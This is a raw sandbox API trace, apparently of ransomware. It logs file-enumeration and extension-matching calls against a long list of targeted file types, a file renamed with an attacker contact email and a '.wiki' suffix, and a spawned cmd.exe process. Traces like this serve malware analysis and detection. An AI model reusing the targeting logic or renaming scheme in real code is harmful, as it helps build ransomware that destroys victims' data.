(lpString1=".crt", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".crw") returned 4 [0147.827] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".cs") returned 3 [0147.827] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0147.827] lstrlenW (lpString=".css") returned 4 [0147.827] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".csv") returned 4 [0147.827] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".cub") returned 4 [0147.827] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".dae") returned 4 [0147.827] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".dat") returned 4 [0147.827] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".db") returned 3 [0147.827] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0147.827] lstrlenW (lpString=".dbf") returned 4 [0147.827] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".dbx") returned 4 [0147.827] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".dc3") returned 4 [0147.827] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".dcm") returned 4 [0147.827] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".dcr") returned 4 [0147.827] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0147.827] lstrlenW (lpString=".der") returned 4 [0147.827] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0147.828] lstrlenW (lpString=".dib") returned 4 [0147.828] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0147.828] lstrlenW (lpString=".dic") returned 4 [0147.828] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0147.828] lstrlenW (lpString=".dif") returned 4 [0147.828] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0147.828] lstrlenW (lpString=".divx") returned 5 [0147.828] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0147.828] lstrlenW (lpString=".djvu") returned 5 [0147.828] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0147.828] lstrlenW (lpString=".dng") returned 4 [0147.828] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0147.828] lstrlenW (lpString=".doc") returned 4 [0147.828] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0147.828] lstrlenW (lpString=".docm") returned 5 [0147.828] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0147.828] lstrlenW (lpString=".docx") returned 5 [0147.828] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0147.828] lstrlenW (lpString=".dot") returned 4 [0147.828] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0147.828] lstrlenW (lpString=".dotm") returned 5 [0147.828] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0147.828] lstrlenW (lpString=".dotx") returned 5 [0147.828] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0147.828] lstrlenW (lpString=".dpx") returned 4 [0147.828] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0147.828] lstrlenW (lpString=".dqy") returned 4 [0147.828] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0147.828] lstrlenW (lpString=".dsn") returned 4 [0147.828] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0147.828] lstrlenW (lpString=".dt") returned 3 [0147.828] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0147.828] lstrlenW (lpString=".dtd") returned 4 [0147.828] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0147.828] lstrlenW (lpString=".dwg") returned 4 [0147.829] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0147.829] lstrlenW (lpString=".dwt") returned 4 [0147.829] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0147.829] lstrlenW (lpString=".dx") returned 3 [0147.829] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0147.829] lstrlenW (lpString=".dxf") returned 4 [0147.829] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0147.829] lstrlenW (lpString=".edml") returned 5 [0147.829] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0147.829] lstrlenW (lpString=".efd") returned 4 [0147.829] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0147.829] lstrlenW (lpString=".elf") returned 4 [0147.829] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0147.829] lstrlenW (lpString=".emf") returned 4 [0147.829] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0147.829] lstrlenW (lpString=".emz") returned 4 [0147.829] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0147.829] lstrlenW (lpString=".epf") returned 4 [0147.829] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0147.829] lstrlenW (lpString=".eps") returned 4 [0147.829] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0147.829] lstrlenW (lpString=".epsf") returned 5 [0147.829] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0147.829] lstrlenW (lpString=".epsp") returned 5 [0147.829] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0147.829] lstrlenW (lpString=".erf") returned 4 [0147.829] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0147.829] lstrlenW (lpString=".exr") returned 4 [0147.829] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0147.829] lstrlenW (lpString=".f4v") returned 4 [0147.829] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0147.829] lstrlenW (lpString=".fido") returned 5 [0147.829] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0147.829] lstrlenW (lpString=".flm") returned 4 [0147.829] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".flv") returned 4 [0147.830] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".frm") returned 4 [0147.830] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".fxg") returned 4 [0147.830] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".geo") returned 4 [0147.830] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".gif") returned 4 [0147.830] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".grs") returned 4 [0147.830] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".gz") returned 3 [0147.830] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0147.830] lstrlenW (lpString=".h") returned 2 [0147.830] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0147.830] lstrlenW (lpString=".hdr") returned 4 [0147.830] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".hpp") returned 4 [0147.830] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".hta") returned 4 [0147.830] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".htc") returned 4 [0147.830] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".htm") returned 4 [0147.830] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".html") returned 5 [0147.830] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0147.830] lstrlenW (lpString=".icb") returned 4 [0147.830] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".ics") returned 4 [0147.830] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0147.830] lstrlenW (lpString=".iff") returned 4 [0147.830] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0147.831] lstrlenW (lpString=".inc") returned 4 [0147.831] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0147.831] lstrlenW (lpString=".indd") returned 5 [0147.831] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0147.831] lstrlenW (lpString=".ini") returned 4 [0147.831] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0147.831] FindNextFileW (in: hFindFile=0x42810a0, lpFindFileData=0x38df808 | out: lpFindFileData=0x38df808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9e3fe310, ftCreationTime.dwHighDateTime=0x1d595b2, ftLastAccessTime.dwLowDateTime=0x9e3fe310, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0x9e424470, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki", cAlternateFileName="DESKTO~1.WIK")) returned 1 [0147.831] lstrlenW (lpString="desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki") returned 53 [0147.831] lstrlenW (lpString=".1cd") returned 4 [0147.831] lstrcmpiW (lpString1=".1cd", lpString2="wiki") returned -1 [0147.831] lstrlenW (lpString=".3ds") returned 4 [0147.831] lstrcmpiW (lpString1=".3ds", lpString2="wiki") returned -1 [0147.831] lstrlenW (lpString=".3fr") returned 4 [0147.831] lstrcmpiW (lpString1=".3fr", lpString2="wiki") returned -1 [0147.831] lstrlenW (lpString=".3g2") returned 4 [0147.831] lstrcmpiW (lpString1=".3g2", lpString2="wiki") returned -1 [0147.831] lstrlenW (lpString=".3gp") returned 4 [0147.831] lstrcmpiW (lpString1=".3gp", lpString2="wiki") returned -1 [0147.831] lstrlenW (lpString=".7z") returned 3 [0147.831] lstrcmpiW (lpString1=".7z", lpString2="iki") returned -1 [0147.831] lstrlenW (lpString=".accda") returned 6 [0147.831] lstrcmpiW (lpString1=".accda", lpString2="].wiki") returned -1 [0147.831] lstrlenW (lpString=".accdb") returned 6 [0147.831] lstrcmpiW (lpString1=".accdb", lpString2="].wiki") returned -1 [0147.831] lstrlenW (lpString=".accdc") returned 6 [0147.831] lstrcmpiW (lpString1=".accdc", lpString2="].wiki") returned -1 [0147.831] lstrlenW (lpString=".accde") returned 6 [0147.831] lstrcmpiW (lpString1=".accde", lpString2="].wiki") returned -1 [0147.831] lstrlenW (lpString=".accdt") returned 6 [0147.831] lstrcmpiW (lpString1=".accdt", lpString2="].wiki") returned -1 [0147.831] lstrlenW (lpString=".accdw") returned 6 [0147.831] lstrcmpiW (lpString1=".accdw", lpString2="].wiki") returned -1 [0147.831] lstrlenW (lpString=".adb") returned 4 [0147.832] lstrcmpiW (lpString1=".adb", lpString2="wiki") returned -1 [0147.832] lstrlenW (lpString=".adp") returned 4 [0147.832] lstrcmpiW (lpString1=".adp", lpString2="wiki") returned -1 [0147.832] lstrlenW (lpString=".ai") returned 3 [0147.832] lstrcmpiW (lpString1=".ai", lpString2="iki") returned -1 [0147.832] lstrlenW (lpString=".ai3") returned 4 [0147.832] lstrcmpiW (lpString1=".ai3", lpString2="wiki") returned -1 [0147.832] lstrlenW (lpString=".ai4") returned 4 [0147.832] lstrcmpiW (lpString1=".ai4", lpString2="wiki") returned -1 [0147.832] lstrlenW (lpString=".ai5") returned 4 [0147.832] lstrcmpiW (lpString1=".ai5", lpString2="wiki") returned -1 [0147.832] lstrlenW (lpString=".ai6") returned 4 [0147.832] lstrcmpiW (lpString1=".ai6", lpString2="wiki") returned -1 [0147.832] lstrlenW (lpString=".ai7") returned 4 [0147.832] lstrcmpiW (lpString1=".ai7", lpString2="wiki") returned -1 [0147.832] lstrlenW (lpString=".ai8") returned 4 [0147.832] lstrcmpiW (lpString1=".ai8", lpString2="wiki") returned -1 [0147.832] lstrlenW (lpString=".anim") returned 5 [0147.832] lstrcmpiW (lpString1=".anim", lpString2=".wiki") returned -1 [0147.832] lstrlenW (lpString=".arw") returned 4 [0147.832] lstrcmpiW (lpString1=".arw", lpString2="wiki") returned -1 [0147.832] lstrlenW (lpString=".as") returned 3 [0147.832] lstrcmpiW (lpString1=".as", lpString2="iki") returned -1 [0147.832] lstrlenW (lpString=".asa") returned 4 [0147.832] lstrcmpiW (lpString1=".asa", lpString2="wiki") returned -1 [0147.832] lstrlenW (lpString=".asc") returned 4 [0147.832] lstrcmpiW (lpString1=".asc", lpString2="wiki") returned -1 [0147.832] lstrlenW (lpString=".ascx") returned 5 [0147.832] lstrcmpiW (lpString1=".ascx", lpString2=".wiki") returned -1 [0147.832] lstrlenW (lpString=".asm") returned 4 [0147.832] lstrcmpiW (lpString1=".asm", lpString2="wiki") returned -1 [0147.833] lstrlenW (lpString=".asmx") returned 5 [0147.833] lstrcmpiW (lpString1=".asmx", lpString2=".wiki") returned -1 [0147.833] lstrlenW (lpString=".asp") returned 4 [0147.833] lstrcmpiW (lpString1=".asp", lpString2="wiki") returned -1 [0147.833] lstrlenW (lpString=".aspx") returned 5 [0147.833] lstrcmpiW (lpString1=".aspx", lpString2=".wiki") returned -1 [0147.833] lstrlenW (lpString=".asr") returned 4 [0147.833] lstrcmpiW (lpString1=".asr", lpString2="wiki") returned -1 [0147.833] lstrlenW (lpString=".asx") returned 4 [0147.833] lstrcmpiW (lpString1=".asx", lpString2="wiki") returned -1 [0147.833] lstrlenW (lpString=".avi") returned 4 [0147.833] lstrcmpiW (lpString1=".avi", lpString2="wiki") returned -1 [0147.833] lstrlenW (lpString=".avs") returned 4 [0147.833] lstrcmpiW (lpString1=".avs", lpString2="wiki") returned -1 [0147.833] lstrlenW (lpString=".backup") returned 7 [0147.833] lstrcmpiW (lpString1=".backup", lpString2=" ].wiki") returned 1 [0147.833] lstrlenW (lpString=".bak") returned 4 [0147.833] lstrcmpiW (lpString1=".bak", lpString2="wiki") returned -1 [0147.833] lstrlenW (lpString=".bay") returned 4 [0147.833] lstrcmpiW (lpString1=".bay", lpString2="wiki") returned -1 [0147.833] lstrlenW (lpString=".bd") returned 3 [0147.833] lstrcmpiW (lpString1=".bd", lpString2="iki") returned -1 [0147.833] lstrlenW (lpString=".bin") returned 4 [0147.833] lstrcmpiW (lpString1=".bin", lpString2="wiki") returned -1 [0147.833] lstrlenW (lpString=".bmp") returned 4 [0147.833] lstrcmpiW (lpString1=".bmp", lpString2="wiki") returned -1 [0147.833] lstrlenW (lpString=".bz2") returned 4 [0147.833] lstrcmpiW (lpString1=".bz2", lpString2="wiki") returned -1 [0147.834] lstrlenW (lpString=".c") returned 2 [0147.834] lstrcmpiW (lpString1=".c", lpString2="ki") returned -1 [0147.834] lstrlenW (lpString=".cdr") returned 4 [0147.834] lstrcmpiW (lpString1=".cdr", lpString2="wiki") returned -1 [0147.834] lstrlenW (lpString=".cer") returned 4 [0147.834] lstrcmpiW (lpString1=".cer", lpString2="wiki") returned -1 [0147.834] lstrlenW (lpString=".cf") returned 3 [0147.834] lstrcmpiW (lpString1=".cf", lpString2="iki") returned -1 [0147.834] lstrlenW (lpString=".cfc") returned 4 [0147.834] lstrcmpiW (lpString1=".cfc", lpString2="wiki") returned -1 [0147.834] lstrlenW (lpString=".cfm") returned 4 [0147.834] lstrcmpiW (lpString1=".cfm", lpString2="wiki") returned -1 [0147.834] lstrlenW (lpString=".cfml") returned 5 [0147.834] lstrcmpiW (lpString1=".cfml", lpString2=".wiki") returned -1 [0147.834] lstrlenW (lpString=".cfu") returned 4 [0147.834] lstrcmpiW (lpString1=".cfu", lpString2="wiki") returned -1 [0147.834] lstrlenW (lpString=".chm") returned 4 [0147.834] lstrcmpiW (lpString1=".chm", lpString2="wiki") returned -1 [0147.834] lstrlenW (lpString=".cin") returned 4 [0147.834] lstrcmpiW (lpString1=".cin", lpString2="wiki") returned -1 [0147.834] lstrlenW (lpString=".class") returned 6 [0147.834] lstrcmpiW (lpString1=".class", lpString2="].wiki") returned -1 [0147.834] lstrlenW (lpString=".clx") returned 4 [0147.834] lstrcmpiW (lpString1=".clx", lpString2="wiki") returned -1 [0147.834] lstrlenW (lpString=".config") returned 7 [0147.834] lstrcmpiW (lpString1=".config", lpString2=" ].wiki") returned 1 [0147.834] lstrlenW (lpString=".cpp") returned 4 [0147.834] lstrcmpiW (lpString1=".cpp", lpString2="wiki") returned -1 [0147.834] lstrlenW (lpString=".cr2") returned 4 [0147.834] lstrcmpiW (lpString1=".cr2", lpString2="wiki") returned -1 [0147.834] lstrlenW (lpString=".crt") returned 4 [0147.834] lstrcmpiW (lpString1=".crt", lpString2="wiki") returned -1 [0147.834] lstrlenW (lpString=".crw") returned 4 [0147.835] lstrcmpiW (lpString1=".crw", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".cs") returned 3 [0147.835] lstrcmpiW (lpString1=".cs", lpString2="iki") returned -1 [0147.835] lstrlenW (lpString=".css") returned 4 [0147.835] lstrcmpiW (lpString1=".css", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".csv") returned 4 [0147.835] lstrcmpiW (lpString1=".csv", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".cub") returned 4 [0147.835] lstrcmpiW (lpString1=".cub", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".dae") returned 4 [0147.835] lstrcmpiW (lpString1=".dae", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".dat") returned 4 [0147.835] lstrcmpiW (lpString1=".dat", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".db") returned 3 [0147.835] lstrcmpiW (lpString1=".db", lpString2="iki") returned -1 [0147.835] lstrlenW (lpString=".dbf") returned 4 [0147.835] lstrcmpiW (lpString1=".dbf", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".dbx") returned 4 [0147.835] lstrcmpiW (lpString1=".dbx", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".dc3") returned 4 [0147.835] lstrcmpiW (lpString1=".dc3", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".dcm") returned 4 [0147.835] lstrcmpiW (lpString1=".dcm", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".dcr") returned 4 [0147.835] lstrcmpiW (lpString1=".dcr", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".der") returned 4 [0147.835] lstrcmpiW (lpString1=".der", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".dib") returned 4 [0147.835] lstrcmpiW (lpString1=".dib", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".dic") returned 4 [0147.835] lstrcmpiW (lpString1=".dic", lpString2="wiki") returned -1 [0147.835] lstrlenW (lpString=".dif") returned 4 [0147.835] lstrcmpiW (lpString1=".dif", lpString2="wiki") returned -1 [0147.836] lstrlenW (lpString=".divx") returned 5 [0147.836] lstrcmpiW (lpString1=".divx", lpString2=".wiki") returned -1 [0147.836] lstrlenW (lpString=".djvu") returned 5 [0147.836] lstrcmpiW (lpString1=".djvu", lpString2=".wiki") returned -1 [0147.836] lstrlenW (lpString=".dng") returned 4 [0147.836] lstrcmpiW (lpString1=".dng", lpString2="wiki") returned -1 [0147.836] lstrlenW (lpString=".doc") returned 4 [0147.836] lstrcmpiW (lpString1=".doc", lpString2="wiki") returned -1 [0147.836] lstrlenW (lpString=".docm") returned 5 [0147.836] lstrcmpiW (lpString1=".docm", lpString2=".wiki") returned -1 [0147.836] lstrlenW (lpString=".docx") returned 5 [0147.836] lstrcmpiW (lpString1=".docx", lpString2=".wiki") returned -1 [0147.836] lstrlenW (lpString=".dot") returned 4 [0147.836] lstrcmpiW (lpString1=".dot", lpString2="wiki") returned -1 [0147.836] lstrlenW (lpString=".dotm") returned 5 [0147.836] lstrcmpiW (lpString1=".dotm", lpString2=".wiki") returned -1 [0147.836] lstrlenW (lpString=".dotx") returned 5 [0147.836] lstrcmpiW (lpString1=".dotx", lpString2=".wiki") returned -1 [0147.836] lstrlenW (lpString=".dpx") returned 4 [0147.836] lstrcmpiW (lpString1=".dpx", lpString2="wiki") returned -1 [0147.836] lstrlenW (lpString=".dqy") returned 4 [0147.836] lstrcmpiW (lpString1=".dqy", lpString2="wiki") returned -1 [0147.836] lstrlenW (lpString=".dsn") returned 4 [0147.836] lstrcmpiW (lpString1=".dsn", lpString2="wiki") returned -1 [0147.836] lstrlenW (lpString=".dt") returned 3 [0147.836] lstrcmpiW (lpString1=".dt", lpString2="iki") returned -1 [0147.836] lstrlenW (lpString=".dtd") returned 4 [0147.836] lstrcmpiW (lpString1=".dtd", lpString2="wiki") returned -1 [0147.836] lstrlenW (lpString=".dwg") returned 4 [0147.836] lstrcmpiW (lpString1=".dwg", lpString2="wiki") returned -1 [0147.836] lstrlenW (lpString=".dwt") returned 4 [0147.836] lstrcmpiW (lpString1=".dwt", lpString2="wiki") returned -1 [0147.836] lstrlenW (lpString=".dx") returned 3 [0147.837] lstrcmpiW (lpString1=".dx", lpString2="iki") returned -1 [0147.837] lstrlenW (lpString=".dxf") returned 4 [0147.837] lstrcmpiW (lpString1=".dxf", lpString2="wiki") returned -1 [0147.837] lstrlenW (lpString=".edml") returned 5 [0147.837] lstrcmpiW (lpString1=".edml", lpString2=".wiki") returned -1 [0147.837] lstrlenW (lpString=".efd") returned 4 [0147.837] lstrcmpiW (lpString1=".efd", lpString2="wiki") returned -1 [0147.837] lstrlenW (lpString=".elf") returned 4 [0147.837] lstrcmpiW (lpString1=".elf", lpString2="wiki") returned -1 [0147.837] lstrlenW (lpString=".emf") returned 4 [0147.837] lstrcmpiW (lpString1=".emf", lpString2="wiki") returned -1 [0147.837] lstrlenW (lpString=".emz") returned 4 [0147.837] lstrcmpiW (lpString1=".emz", lpString2="wiki") returned -1 [0147.837] lstrlenW (lpString=".epf") returned 4 [0147.837] lstrcmpiW (lpString1=".epf", lpString2="wiki") returned -1 [0147.837] lstrlenW (lpString=".eps") returned 4 [0147.837] lstrcmpiW (lpString1=".eps", lpString2="wiki") returned -1 [0147.837] lstrlenW (lpString=".epsf") returned 5 [0147.837] lstrcmpiW (lpString1=".epsf", lpString2=".wiki") returned -1 [0147.837] lstrlenW (lpString=".epsp") returned 5 [0147.837] lstrcmpiW (lpString1=".epsp", lpString2=".wiki") returned -1 [0147.837] lstrlenW (lpString=".erf") returned 4 [0147.837] lstrcmpiW (lpString1=".erf", lpString2="wiki") returned -1 [0147.837] lstrlenW (lpString=".exr") returned 4 [0147.837] lstrcmpiW (lpString1=".exr", lpString2="wiki") returned -1 [0147.837] lstrlenW (lpString=".f4v") returned 4 [0147.837] lstrcmpiW (lpString1=".f4v", lpString2="wiki") returned -1 [0147.837] lstrlenW (lpString=".fido") returned 5 [0147.837] lstrcmpiW (lpString1=".fido", lpString2=".wiki") returned -1 [0147.837] lstrlenW (lpString=".flm") returned 4 [0147.837] lstrcmpiW (lpString1=".flm", lpString2="wiki") returned -1 [0147.837] lstrlenW (lpString=".flv") returned 4 [0147.837] lstrcmpiW (lpString1=".flv", lpString2="wiki") returned -1 [0147.837] lstrlenW (lpString=".frm") returned 4 [0147.838] lstrcmpiW (lpString1=".frm", lpString2="wiki") returned -1 [0147.838] lstrlenW (lpString=".fxg") returned 4 [0147.838] lstrcmpiW (lpString1=".fxg", lpString2="wiki") returned -1 [0147.838] lstrlenW (lpString=".geo") returned 4 [0147.838] lstrcmpiW (lpString1=".geo", lpString2="wiki") returned -1 [0147.838] lstrlenW (lpString=".gif") returned 4 [0147.838] lstrcmpiW (lpString1=".gif", lpString2="wiki") returned -1 [0147.838] lstrlenW (lpString=".grs") returned 4 [0147.838] lstrcmpiW (lpString1=".grs", lpString2="wiki") returned -1 Thread: id = 349 os_tid = 0x338 Thread: id = 353 os_tid = 0x348 Thread: id = 354 os_tid = 0x7c8 Process: id = "32" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x6e2bc000" os_pid = "0x700" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "31" os_parent_pid = "0x6dc" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e361" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 329 os_tid = 0x70c [0147.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2df960 | out: lpSystemTimeAsFileTime=0x2df960*(dwLowDateTime=0xdbc51fc0, dwHighDateTime=0x1d595b2)) [0147.400] GetCurrentProcessId () returned 0x700 [0147.400] GetCurrentThreadId () returned 0x70c [0147.400] GetTickCount () returned 0x1139faa [0147.400] QueryPerformanceCounter (in: lpPerformanceCount=0x2df968 | out: lpPerformanceCount=0x2df968*=11142345062) returned 1 [0147.401] GetModuleHandleW (lpModuleName=0x0) returned 0x49ef0000 [0147.401] __set_app_type (_Type=0x1) [0147.402] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49f17810) returned 0x0 [0147.402] __getmainargs (in: _Argc=0x49f3a608, _Argv=0x49f3a618, _Env=0x49f3a610, _DoWildCard=0, _StartInfo=0x49f1e0f4 | out: _Argc=0x49f3a608, _Argv=0x49f3a618, _Env=0x49f3a610) returned 0 [0147.404] GetCurrentThreadId () returned 0x70c [0147.404] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x70c) returned 0x3c [0147.404] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77890000 [0147.404] GetProcAddress (hModule=0x77890000, lpProcName="SetThreadUILanguage") returned 0x778a6d40 [0147.404] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0147.404] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0147.404] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2df8f8 | out: phkResult=0x2df8f8*=0x0) returned 0x2 [0147.404] VirtualQuery (in: lpAddress=0x2df8e0, lpBuffer=0x2df860, dwLength=0x30 | out: lpBuffer=0x2df860*(BaseAddress=0x2df000, AllocationBase=0x1e0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0147.404] VirtualQuery (in: lpAddress=0x1e0000, lpBuffer=0x2df860, dwLength=0x30 | out: lpBuffer=0x2df860*(BaseAddress=0x1e0000, AllocationBase=0x1e0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0147.404] VirtualQuery (in: lpAddress=0x1e1000, lpBuffer=0x2df860, dwLength=0x30 | out: lpBuffer=0x2df860*(BaseAddress=0x1e1000, AllocationBase=0x1e0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0147.404] VirtualQuery (in: lpAddress=0x1e4000, lpBuffer=0x2df860, dwLength=0x30 | out: lpBuffer=0x2df860*(BaseAddress=0x1e4000, AllocationBase=0x1e0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0147.404] VirtualQuery (in: lpAddress=0x2e0000, lpBuffer=0x2df860, dwLength=0x30 | out: lpBuffer=0x2df860*(BaseAddress=0x2e0000, AllocationBase=0x2e0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0147.404] GetConsoleOutputCP () returned 0x1b5 [0147.404] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f2bfe0 | out: lpCPInfo=0x49f2bfe0) returned 1 [0147.405] SetConsoleCtrlHandler (HandlerRoutine=0x49f13184, Add=1) returned 1 [0147.405] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.405] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0147.406] _get_osfhandle (_FileHandle=1) returned 0xf4 [0147.406] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x49f1e194 | out: lpMode=0x49f1e194) returned 0 [0147.406] _get_osfhandle (_FileHandle=0) returned 0xe8 [0147.406] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x49f1e198 | out: lpMode=0x49f1e198) returned 0 [0147.406] GetEnvironmentStringsW () returned 0x88aa0* [0147.406] GetProcessHeap () returned 0x70000 [0147.406] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xab4) returned 0x89560 